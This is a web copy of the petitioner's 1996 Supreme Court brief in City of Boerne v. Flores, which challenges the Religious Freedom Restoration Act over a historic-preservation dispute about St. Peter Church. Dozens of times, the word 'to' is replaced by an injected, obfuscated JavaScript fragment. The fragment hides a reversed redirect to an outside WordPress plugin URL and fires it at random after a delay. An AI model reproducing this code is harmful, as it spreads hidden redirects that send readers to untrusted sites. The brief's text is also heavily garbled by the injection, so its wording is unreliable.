toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is different from any other act Congress has ever passed. Never before has Congress attempted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to define for itself the core meaning of a clause of the Constitution and then toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to force that interpretation on the courts in every case raising the constitutional issue. This Act is unconstitutional because it goes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too far.'>

CITY OF BOERNE v. FLORES, 1996 U.S. S. Ct. Briefs LEXIS 761(BRIEF FOR PETITIONER)

CITY OF BOERNE v. FLORES, 1996 U.S. S. Ct. Briefs LEXIS 761

No. 95-2074

Supreme Court of the United States

Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober Term, 1996

November 29, 1996

Reporter: 1996 U.S. S. Ct. Briefs LEXIS 761

CITY OF BOERNE, TEXAS, Petitioner, versus P.F. FLORES, ARCHBISHOP OF SAN ANTONIO, Respondent, and UNITED STATES OF AMERICA, Intervenor-Respondent.

Type: Brief

Prior Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory:  [1]

ON WRIT OF CERTIORARI TO THE UNITED STATES COURT OF APPEALS FOR THE FIFTH CIRCUIT

Counsel

Lowell F. Dentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Esq., DENTON, McKAMIE & NAVARRO, 1700 Tower Life Building, 310 South St. Mary’s Street, San Antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio, Texas 78205, (210) 227-3243

Gordon L. Hollon, Esq., 101 N. Saunders, Boerne, Texas 78006, (210) 249-2521, Attoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torneys for Petitioner City of Boerne, Texas

Marci A. Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Esq., 482 Kings Road, Yardley, Pennsylvania 19067, (215) 493-1973 Counsel of Record

Title

BRIEF FOR PETITIONER

Text

QUESTIONS PRESENTED

1. Whether Congress violated the separation of powers doctrine by legislatively overruling a Supreme Court determination of the scope of the Free Exercise Clause of the First Amendment.

2. Whether Congress violated the constitutional balance between its power under Section 5 of the Fourteenth Amendment and fundamental principles of federalism by commandeering state and local governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be agents of a federal policy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religious exercise more than the Constitution requires.

3. Whether Katzenbach v. Morgan, 384 U.S. 641 (1966), should be overruled in part.

4. Whether Congress violated the Establishment Clause of the First Amendment by broadly [2] and exclusively privileging religion over other expressions of conscience.

OPINIONS BELOW

Flores v. City of Boerne, 877 F. Supp. 355 (W.D. Tex. 1995), reprinted in Cert. Pet. App. 1 at 24a-29a; Flores v. City of Boerne, Texas, 73 F.3d 1352 (5th Cir. 1996), reprinted in Cert. Pet. App. at 1a-23a. Order Granting United States Leave toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Intervene, March 13, 1995, reprinted in Cert. Pet. App. at 32a; Petition for Leave toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Appeal an Interlocutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Order, granted May 9, 1995, reprinted in Jt. App. at 74; Order Treating the Suggestion for Rehearing En Banc as a Petition for Panel Rehearing, denied March 28, 1996, reprinted in Cert. Pet. App. at 30a.

[9]

JURISDICTION

The Fifth Circuit decision was reached on January 23, 1996; the petition for rehearing en banc, which was treated by the Fifth Circuit as a petition for rehearing, was denied on March 28, 1996. This Court has jurisdiction under 28 U.S.C. § 1254(1) (1994).

CONSTITUTIONAL PROVISIONS AND STATUTES INVOLVED

Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, 42 U.S.C. § 2000bb1-4 (1993), reprinted in Cert. Pet. App. at 39a-42a; U.S. Constitution, Article III,§ 1, reprinted in Cert. Pet. App. at 35a; Amendment XIV, §§ 1, 5, reprinted in Cert. Pet. App. at 36a-38a; Amendment I, clauses 1, 2, reprinted in Cert. Pet. App. at 36a; Amendment X, reprinted in Cert. Pet. App. at 36a.

STATEMENT OF THE CASE

1. Facts. This case is about a request toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tear down a beautiful stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone church, whose times and memories are graven intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the souls of a city. While the issue of the church’s precise histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical value is a matter that has been left toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trial, Jt. App. at 72, the City maintains that St. Peter Church, which was built in 1923, is a striking example of mission revival [10]  architecture self-consciously referring back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the original Spanish missions in South Texas. As one arrives in the City of Boerne, Texas, this highly visible church set on a hill speaks directly of the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of this City and its people. Klein Affidavit, Jt. App. at 43. The people of the City seek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve their community’s shared histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory as reflected in this familiar mission revival structure. Id.

With Ordinance 91-05, the City of Boerne enacted a histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation law intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve and protect its rich histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory and culture. Recognizing that “rapid change in population, economic functions and land use activities” has threatened the distinctive histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical character of its community, the City Council of Boerne passed its histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark preservation law for the following purposes:

(1) “To protect, enhance, and perpetuate selected histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmarks which represent or reflect distinctive and important elements of the city’s and State’s architectural, archeological, cultural, social, economic, ethnic and political histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory . . . .”

(2) “To safeguard the City’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric and cultural heritage . . . .”

(3) “To stabilize and improve property values in such locations.  [11]  ”

(4) “To foster civic pride in the beauty and accomplishments of the past.”

(5) “To protect and enhance the City’s attractions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourists and visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors and provide incidental support and stimulus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to business and industry.”

(6) “To strengthen the economy of the City.”

(7) “To promote the use of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmarks for the culture, prosperity, education and general welfare of the people of the City and visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City.”

Cert. Pet. App. at 46a-48a.

 

Boerne’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation law represents years of effort on the part of the City and evidences the citizens’ commitment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their community’s heritage. On May 20, 1985, the City Council duly enacted Ordinance No. 85-11, which authorized the creation of a Landmark Commission. Jt. App. at 66. The Landmark Commission was appointed on November 10, 1987, began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore the creation of a histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district on February 16, 1988, and held numerous meetings toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district boundaries. Id. Three public hearings were held in 1990 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss and determine the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district boundaries. Id.

Ordinance 91-05, which was enacted intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to law on June 25, 1991, codifies the City’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical preservation policy [12]  goals; defines “histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark” and “histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district”; appoints and designates procedures for a “Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Landmark Commission”; orders the Commission toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare a landmark preservation plan; and designates procedures for the following: the acquisition and removal of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark designation, the creation of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric districts, the evaluation of proposed exterior changes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to structures within a histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical district or a designated histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark, and the acquisition of a histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric structure preservation tax exemption. Cert. Pet. App. at 46a-63a. Pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ordinance 91-05, the Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Landmark Commission presented its recommendation for creation of the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Planning and Zoning Commission on Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 1, 1991. Jt. App. at 67.

Respondent Flores was given notice of the December 3, 1991 hearing of the Planning and Zoning Commission and City Council for the creation of the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district. Jt. App. at 69. Subsequently, Ordinance 91-15 added the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric overlay district toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City of Boerne zoning map on January 14, 1992. Jt. App. at 68. Ordinance 91-15 states that rapid changes in the local population, economy, and land use have led toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the demolition of [13]  histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical structures that “reflect the heritage of the state, and its people . . . so that the city, the state, and the nation are thereby losing a part of their heritage.” Jt. App. at 24.

There is no dispute that the City’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation ordinance covers at the least a substantial portion of the church. Flores v. City of Boerne, 73 F.3d 1352, 1354 (5th Cir. 1996).

On December 14, 1993, a building permit application was submitted on behalf of Respondent Flores for the purpose of demolishing and expanding St. Peter Church. Jt. App. at 67. A public hearing was held by the Landmark Commission toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider the application. Upon its determination that the proposed plan will adversely affect the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district and is inappropriate or inconsistent with the spirit and purposes of Ordinance 91-05, the Landmark Commission advised the City Building Inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, Mr. Ed Beasley, that the permit could not be approved until certain changes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the application were made. Jt. App. at 68-69. The letter stated that the Landmark Commission had employed the following criteria, which are taken from Sec. 6.1 of Ordinance 91-05, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine that the application violated the ordinance:  [14]

1. Character, interest or value as part of the development, heritage or cultural characteristics of the City.

3. Embodiment of distinguishing characteristics of an architectural type or specimen.

5. Unique location of singular physical characteristics representing an established and familiar visual feature of a neighborhood, community or the City.

6. Value as an aspect of community sentiment or public pride.

The letter further stated: “Due toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the structure’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical importance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the community and our charge of protecting and preserving certain structures, areas, etc., deemed histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical, any new plans shall not include demolition of the existing structure referred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to as St. Peter’s Catholic Church.” Jt. App. at 39a. The City Building Inspectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor sent a letter toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Respondent’s architect, Mr. Gregory Davis, confirming the denial of the permit by the Landmark Commission. Jt. App. at 60a.

 

Pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ordinance 91-05, Respondent Flores appealed the Landmark Commission’s decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City Council. After notice and a public hearing, the City Council voted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deny Respondent’s appeal. Jt. App. at 69. Representatives of both parties have considered [15]  alternative site designs but have been unable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reach an agreement. Jt. App. at 70. Respondent Flores filed this suit, pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 28 U.S.C. § 1331, alleging inter alia that Ordinance 91-05 violates the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act (“RFRA” or “the Act”), 42 U.S.C. § 2000bb (1993).

2. The District Court. Following certification of the question of RFRA’s constitutionality pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to28 U.S.C. § 2403(a) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Attoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney General of the United States, intervention of the United States, and briefing on the constitutional issue by all parties, the district court ruled that RFRA was facially invalid because “Congress specifically sought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overturn Supreme Court precedent as found in Employment Division v. Smith through the passage of RFRA,” Flores v. City of Boerne, 877 F. Supp. 355, 357 (W. D. Tex. 1995), and therefore infringed on the long-settled authority of the courts “‘toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is.'” Id. (quoting Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803)). The court noted Congress’s power under Section 5 of the Fourteenth Amendment, but did not find it a persuasive basis [16]  for congressional authority in light of “Congress’ violation of the doctrine of Separation of Powers by intruding on the power and duty of the judiciary.” Flores, 877 F. Supp. at 357.

The district court certified its order for interlocutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory appeal toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the court of appeals pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 28 U.S.C. § 1292(b). Cert. Pet. App. at 29a. Respondent Flores and the United States appealed the district court’s decision. The court of appeals accepted the appeal, treating it as a Fed. R. Civ. P. 54(b) partial final judgment. Jt. App. at 73.

3. The Court of Appeals. The court of appeals reversed on four grounds. First, the court held that Congress acted within its power under Section 5 of the Fourteenth Amendment on the theory that RFRA is remedial because it prohibits “budding or disguised constitutional violations,” “sprouting constitutional violations,” and “incipient constitutional violations.” Flores, 73 F.3d at 1359-60. The court applied the three-part test found in M’Culloch v. Maryland, 17 U.S. (4 Wheat.) 316, 421 (1819):

